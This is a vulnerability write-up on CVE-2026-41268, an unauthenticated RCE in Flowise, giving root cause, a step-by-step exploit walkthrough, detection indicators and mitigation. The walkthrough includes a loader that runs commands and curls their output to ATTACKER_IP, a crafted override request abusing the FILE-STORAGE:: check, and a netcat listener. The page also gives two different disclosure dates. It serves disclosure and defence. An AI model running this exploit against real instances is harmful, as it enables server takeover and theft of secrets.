CVE-2026-41268: 
JavaScript vulnerability analysis and mitigation

CVE-2026-41268 is a critical unauthenticated remote command execution (RCE) vulnerability in FlowiseAI Flowise, a drag-and-drop UI for building LLM workflows. The vulnerability affects all Flowise versions up to and including 3.0.13 and was disclosed on April 23, 2026, with a fix released in version 3.1.0. Exploitation requires only a single HTTP POST request with no authentication or prior knowledge of the target instance. It carries a CVSS v3.1 base score of 9.8 (Critical) per NVD, and 7.7 (High) per the GitHub Security Advisory (GitHub Advisory).

The root cause is improper input validation (CWE-20) in the replaceInputsWithConfig function within packages/server/src/utils/index.ts. The code uses .includes('FILE-STORAGE::') instead of .startsWith(), meaning an attacker can embed the keyword anywhere in a string (e.g., in a comment /* FILE-STORAGE:: */) to bypass all parameter validation, including the isParameterEnabled() check. This bypass allows overriding the mcpServerConfig parameter to inject a malicious NODE_OPTIONS environment variable — which is absent from the Custom MCP node's blocklist — enabling use of --experimental-loader to execute arbitrary JavaScript before the Node.js process starts. The attack requires the target chatflow to have API Override enabled, be publicly accessible, and contain a Custom MCP tool node (GitHub Advisory).

Successful exploitation grants an unauthenticated attacker arbitrary command execution as the root user within the containerized Flowise instance. This enables full container compromise, including access to all secrets, credentials, API keys, and user data stored within the container. The compromised container can also serve as a pivot point for lateral movement into internal networks and other connected systems (GitHub Advisory).

A detailed proof-of-concept exploit is publicly available in the GitHub Security Advisory, demonstrating single-request RCE with command output exfiltration via a netcat listener. The exploit requires no authentication and is delivered via a single crafted HTTP POST request. The EPSS score is approximately 0.0068 (0.68%), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing as of the time of disclosure (GitHub Advisory).

1. Reconnaissance: Identify publicly accessible Flowise instances (version ≤ 3.0.13) using Shodan, Censys, or similar tools. Locate chatflows with API Override enabled and a Custom MCP tool node — these are prerequisites for exploitation.
2. Obtain Chatflow ID: The chatflow ID is typically visible in the URL when viewing a public chatflow (e.g., http://target:3000/chatflow/ABC-123-...).
3. Craft the malicious loader payload: Write a JavaScript loader that executes arbitrary commands and exfiltrates output. Example:

import{execSync}from"child_process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary \""+out+"\" http://ATTACKER_IP:5000");}catch(e){}export{};

4. Base64-encode the payload: ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n')
5. Construct the malicious MCP config: Embed NODE_OPTIONS with the --experimental-loader pointing to the base64-encoded data URI:

{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE_OPTIONS":"--experimental-loader data:text/javascript;base64,<ENCODED>"}}

6. Send the exploit request: Use the FILE-STORAGE:: bypass in a comment to pass validation:

curl -X POST "http://TARGET:3000/api/v1/prediction/$CHATFLOW_ID" \
  -H "Content-Type: application/json" \
  -d '{"question": "trigger", "overrideConfig": {"mcpServerConfig": "/* FILE-STORAGE:: */ <ESCAPED_CONFIG>"}}'

7. Receive command output: The listener (e.g., nc -lvnp 5000) receives the output of the executed commands, confirming root-level RCE (GitHub Advisory).

• Network: Unexpected outbound HTTP/curl connections from the Flowise container to external or internal IPs on unusual ports (e.g., 5000); HTTP POST requests to /api/v1/prediction/<chatflow_id> containing FILE-STORAGE:: in the overrideConfig body; outbound data exfiltration via curl from the container.
• Logs: Flowise application logs showing overrideConfig requests with mcpServerConfig values containing FILE-STORAGE:: and NODE_OPTIONS; Node.js warnings about --experimental-loader usage in process logs.
• Process: Unexpected child processes spawned by the Flowise Node.js process (e.g., npx, curl, sh, bash); execSync calls executing system commands such as id, pwd, ls, or reverse shell commands.
• File System: Unexpected files written to the container filesystem by the Flowise process; new scripts or binaries in /tmp or other writable directories (GitHub Advisory).

Upgrade Flowise to version 3.1.0 or later, which patches the FILE-STORAGE:: bypass and adds NODE_OPTIONS to the environment variable blocklist. If immediate patching is not possible, restrict network access to the Flowise instance to trusted networks only and disable the API Override feature on all chatflows containing MCP tool nodes. Additionally, consider running Flowise as a non-root user within the container to limit the impact of any future exploitation (GitHub Advisory).

The vulnerability was reported by security researcher Jeremy Brown (credited as retpoline) and published via GitHub's security advisory program on April 15, 2026. The advisory was noted on Mastodon by The Hacker Wire shortly after public disclosure. Coverage appeared on threat intelligence aggregators including infinitsec.net, radar.offseq.com, and vulnerability.circl.lu, reflecting moderate community interest given the critical nature of the unauthenticated RCE (GitHub Advisory).